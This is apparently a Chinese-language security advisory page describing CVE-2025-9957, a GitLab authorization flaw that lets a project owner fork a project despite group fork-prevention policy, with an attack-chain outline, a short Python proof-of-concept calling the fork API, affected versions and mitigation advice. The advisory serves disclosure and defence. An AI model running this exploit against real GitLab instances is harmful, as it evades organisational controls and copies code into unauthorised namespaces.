IPBUF安全漏洞报告
English
CVE-2025-9957 CVSS 2.7 低危

CVE-2025-9957 GitLab组分支限制绕过漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2025-9957
漏洞类型
权限绕过
CVSS评分
2.7 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

权限绕过GitLabCWE-285逻辑漏洞Access Control

漏洞概述

GitLab CE/EE 存在一个权限绕过漏洞,影响从 11.2 版本开始至 18.11.1 之前的多个版本。该漏洞是由于不当的授权检查导致的,允许拥有项目所有者权限的经过身份验证的用户在特定条件下绕过组分支防止设置。这意味着即使管理员配置了禁止分叉的组策略,攻击者仍可能利用此漏洞创建项目的分叉,从而可能违反组织的安全策略或数据治理要求。该漏洞 CVSS 评分为 2.7,属于低危级别。

技术细节

该漏洞的根本原因在于 GitLab 在处理项目分叉请求时,未充分验证用户权限与组级别限制策略之间的冲突。具体而言,当用户试图对位于已配置“禁止分叉”策略的组中的项目进行分叉操作时,系统仅检查了用户是否为项目所有者,而遗漏了对组级限制策略的二次确认。由于 GitLab 的权限模型中,项目所有者拥有较高的操作权限,系统默认其操作具有合法性,从而忽略了管理员在组层面设置的安全约束。攻击者利用这一逻辑缺陷,只需拥有目标项目的所有者权限,即可通过发送特制的 API 请求或执行特定的 Web 界面操作,成功创建分叉仓库。这种绕过行为可能导致敏感代码被复制到未授权的命名空间中,破坏了企业的代码资产隔离和合规性管理。虽然 CVSS 评分较低,但在高安全性要求的内部环境中,此类逻辑漏洞仍具有潜在风险。

攻击链分析

STEP 1
侦察
攻击者确认目标项目位于一个配置了“禁止分叉”策略的GitLab组中。
STEP 2
权限获取
攻击者获取该目标项目的“项目所有者”权限,可能通过内部提升或被错误分配。
STEP 3
发起请求
攻击者向GitLab API发送POST请求,尝试对目标项目执行fork操作,指定自己的命名空间作为目标。
STEP 4
逻辑绕过
由于存在不当授权检查,系统验证了Project Owner权限,但未正确拦截违反组策略的fork行为。
STEP 5
达成效果
项目成功被分叉到攻击者控制的命名空间,绕过了组级别的安全限制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target GitLab instance configuration gitlab_url = "https://gitlab.example.com" target_project_id = "123" attacker_namespace_id = "456" access_token = "glpat-xxxxxxxxxxxx" # Project Owner Access Token # Headers for authentication headers = { "PRIVATE-TOKEN": access_token, "Content-Type": "application/json" } # API endpoint to fork a project # This endpoint may lack proper checks against group fork prevention settings fork_url = f"{gitlab_url}/api/v4/projects/{target_project_id}/fork" payload = { "namespace": attacker_namespace_id, "path": "forked-repo-exploit" } try: response = requests.post(fork_url, headers=headers, json=payload) if response.status_code == 201: print("[+] Exploit successful: Project forked bypassing group restrictions.") print(f"[+] Forked Project URL: {response.json().get('web_url')}") else: print("[-] Exploit failed.") print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}")

影响范围

GitLab CE/EE >= 11.2, < 18.9.6
GitLab CE/EE >= 18.10, < 18.10.4
GitLab CE/EE >= 18.11, < 18.11.1

防御指南

临时缓解措施
如果不能立即升级,管理员应严格审查并限制“项目所有者”角色的分配,确保只有受信任的用户拥有此权限。同时,可以通过监控日志来检测异常的项目分叉操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表